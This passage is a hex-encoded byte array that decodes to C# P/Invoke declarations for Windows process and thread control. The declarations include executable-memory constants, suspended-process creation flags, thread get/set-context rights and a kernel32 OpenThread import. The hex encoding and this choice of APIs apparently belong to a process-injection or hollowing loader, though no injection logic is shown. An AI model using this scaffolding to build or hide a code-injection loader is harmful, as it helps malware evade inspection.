0x33, 0x32, 0x20, 0x50, 0x41, 0x47, 0x45, 0x5F, 0x52, 0x45, 0x41, 0x44, 0x57, 0x52, 0x49, 0x54, 0x45, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x34, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x50, 0x41, 0x47, 0x45, 0x5F, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x45, 0x5F, 0x52, 0x45, 0x41, 0x44, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x32, 0x30, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x65, 0x6E, 0x75, 0x6D, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x20, 0x3A, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x41, 0x6C, 0x6C, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x31, 0x46, 0x30, 0x46, 0x46, 0x46, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x54, 0x65, 0x72, 0x6D, 0x69, 0x6E, 0x61, 0x74, 0x65, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x4F, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x38, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x44, 0x75, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x65, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x34, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x38, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x65, 0x74, 0x51, 0x75, 0x6F, 0x74, 0x61, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x65, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x51, 0x75, 0x65, 0x72, 0x79, 0x49, 0x6E, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x34, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4C, 0x69, 0x6D, 0x69, 0x74, 0x65, 0x64, 0x49, 0x6E, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x79, 0x6E, 0x63, 0x68, 0x72, 0x6F, 0x6E, 0x69, 0x7A, 0x65, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x65, 0x6E, 0x75, 0x6D, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x20, 0x3A, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x5A, 0x45, 0x52, 0x4F, 0x5F, 0x46, 0x4C, 0x41, 0x47, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x42, 0x52, 0x45, 0x41, 0x4B, 0x41, 0x57, 0x41, 0x59, 0x5F, 0x46, 0x52, 0x4F, 0x4D, 0x5F, 0x4A, 0x4F, 0x42, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4C, 0x54, 0x5F, 0x45, 0x52, 0x52, 0x4F, 0x52, 0x5F, 0x4D, 0x4F, 0x44, 0x45, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x34, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x4E, 0x45, 0x57, 0x5F, 0x43, 0x4F, 0x4E, 0x53, 0x4F, 0x4C, 0x45, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x4E, 0x45, 0x57, 0x5F, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x5F, 0x47, 0x52, 0x4F, 0x55, 0x50, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x4E, 0x4F, 0x5F, 0x57, 0x49, 0x4E, 0x44, 0x4F, 0x57, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x50, 0x52, 0x4F, 0x54, 0x45, 0x43, 0x54, 0x45, 0x44, 0x5F, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x34, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x50, 0x52, 0x45, 0x53, 0x45, 0x52, 0x56, 0x45, 0x5F, 0x43, 0x4F, 0x44, 0x45, 0x5F, 0x41, 0x55, 0x54, 0x48, 0x5A, 0x5F, 0x4C, 0x45, 0x56, 0x45, 0x4C, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x32, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x53, 0x45, 0x50, 0x41, 0x52, 0x41, 0x54, 0x45, 0x5F, 0x57, 0x4F, 0x57, 0x5F, 0x56, 0x44, 0x4D, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5F, 0x57, 0x4F, 0x57, 0x5F, 0x56, 0x44, 0x4D, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x53, 0x55, 0x53, 0x50, 0x45, 0x4E, 0x44, 0x45, 0x44, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x34, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x55, 0x4E, 0x49, 0x43, 0x4F, 0x44, 0x45, 0x5F, 0x45, 0x4E, 0x56, 0x49, 0x52, 0x4F, 0x4E, 0x4D, 0x45, 0x4E, 0x54, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x34, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x44, 0x45, 0x42, 0x55, 0x47, 0x5F, 0x4F, 0x4E, 0x4C, 0x59, 0x5F, 0x54, 0x48, 0x49, 0x53, 0x5F, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x44, 0x45, 0x42, 0x55, 0x47, 0x5F, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x44, 0x45, 0x54, 0x41, 0x43, 0x48, 0x45, 0x44, 0x5F, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x38, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x45, 0x58, 0x54, 0x45, 0x4E, 0x44, 0x45, 0x44, 0x5F, 0x53, 0x54, 0x41, 0x52, 0x54, 0x55, 0x50, 0x49, 0x4E, 0x46, 0x4F, 0x5F, 0x50, 0x52, 0x45, 0x53, 0x45, 0x4E, 0x54, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x38, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x49, 0x4E, 0x48, 0x45, 0x52, 0x49, 0x54, 0x5F, 0x50, 0x41, 0x52, 0x45, 0x4E, 0x54, 0x5F, 0x41, 0x46, 0x46, 0x49, 0x4E, 0x49, 0x54, 0x59, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x20, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x52, 0x4D, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x49, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x49, 0x64, 0x3B, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x20, 0x53, 0x54, 0x41, 0x52, 0x54, 0x55, 0x50, 0x49, 0x4E, 0x46, 0x4F, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x63, 0x62, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x6C, 0x70, 0x52, 0x65, 0x73, 0x65, 0x72, 0x76, 0x65, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x6C, 0x70, 0x44, 0x65, 0x73, 0x6B, 0x74, 0x6F, 0x70, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x6C, 0x70, 0x54, 0x69, 0x74, 0x6C, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x58, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x59, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x58, 0x53, 0x69, 0x7A, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x59, 0x53, 0x69, 0x7A, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x58, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x43, 0x68, 0x61, 0x72, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x59, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x43, 0x68, 0x61, 0x72, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x46, 0x69, 0x6C, 0x6C, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x68, 0x6F, 0x72, 0x74, 0x20, 0x77, 0x53, 0x68, 0x6F, 0x77, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x68, 0x6F, 0x72, 0x74, 0x20, 0x63, 0x62, 0x52, 0x65, 0x73, 0x65, 0x72, 0x76, 0x65, 0x64, 0x32, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x52, 0x65, 0x73, 0x65, 0x72, 0x76, 0x65, 0x64, 0x32, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x53, 0x74, 0x64, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x53, 0x74, 0x64, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x53, 0x74, 0x64, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x3B, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x65, 0x6E, 0x75, 0x6D, 0x20, 0x53, 0x57, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x48, 0x49, 0x44, 0x45, 0x20, 0x3D, 0x20, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x4E, 0x4F, 0x52, 0x4D, 0x41, 0x4C, 0x20, 0x3D, 0x20, 0x31, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x4E, 0x4F, 0x52, 0x4D, 0x41, 0x4C, 0x20, 0x3D, 0x20, 0x31, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x4D, 0x49, 0x4E, 0x49, 0x4D, 0x49, 0x5A, 0x45, 0x44, 0x20, 0x3D, 0x20, 0x32, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x4D, 0x41, 0x58, 0x49, 0x4D, 0x49, 0x5A, 0x45, 0x44, 0x20, 0x3D, 0x20, 0x33, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x4D, 0x41, 0x58, 0x49, 0x4D, 0x49, 0x5A, 0x45, 0x20, 0x3D, 0x20, 0x33, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x4E, 0x4F, 0x41, 0x43, 0x54, 0x49, 0x56, 0x41, 0x54, 0x45, 0x20, 0x3D, 0x20, 0x34, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x20, 0x3D, 0x20, 0x35, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x4D, 0x49, 0x4E, 0x49, 0x4D, 0x49, 0x5A, 0x45, 0x20, 0x3D, 0x20, 0x36, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x4D, 0x49, 0x4E, 0x4E, 0x4F, 0x41, 0x43, 0x54, 0x49, 0x56, 0x45, 0x20, 0x3D, 0x20, 0x37, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x4E, 0x41, 0x20, 0x3D, 0x20, 0x38, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x52, 0x45, 0x53, 0x54, 0x4F, 0x52, 0x45, 0x20, 0x3D, 0x20, 0x39, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4C, 0x54, 0x20, 0x3D, 0x20, 0x31, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x4D, 0x41, 0x58, 0x20, 0x3D, 0x20, 0x31, 0x30, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x65, 0x6E, 0x75, 0x6D, 0x20, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x3A, 0x20, 0x69, 0x6E, 0x74, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x54, 0x45, 0x52, 0x4D, 0x49, 0x4E, 0x41, 0x54, 0x45, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x30, 0x31, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x55, 0x53, 0x50, 0x45, 0x4E, 0x44, 0x5F, 0x52, 0x45, 0x53, 0x55, 0x4D, 0x45, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x30, 0x32, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x47, 0x45, 0x54, 0x5F, 0x43, 0x4F, 0x4E, 0x54, 0x45, 0x58, 0x54, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x30, 0x38, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x45, 0x54, 0x5F, 0x43, 0x4F, 0x4E, 0x54, 0x45, 0x58, 0x54, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x31, 0x30, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x45, 0x54, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x52, 0x4D, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x32, 0x30, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x51, 0x55, 0x45, 0x52, 0x59, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x52, 0x4D, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x34, 0x30, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x45, 0x54, 0x5F, 0x54, 0x48, 0x52, 0x45, 0x41, 0x44, 0x5F, 0x54, 0x4F, 0x4B, 0x45, 0x4E, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x38, 0x30, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x49, 0x4D, 0x50, 0x45, 0x52, 0x53, 0x4F, 0x4E, 0x41, 0x54, 0x45, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x31, 0x30, 0x30, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x5F, 0x49, 0x4D, 0x50, 0x45, 0x52, 0x53, 0x4F, 0x4E, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x32, 0x30, 0x30, 0x29, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x2C, 0x20, 0x53, 0x65, 0x74, 0x4C, 0x61, 0x73, 0x74, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x4F, 0x70, 0x65, 0x6E, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x28, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x64, 0x77, 0x44, 0x65, 0x73, 0x69, 0x72, 0x65, 0x64, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x62, 0x49, 0x6E, 0x68, 0x65, 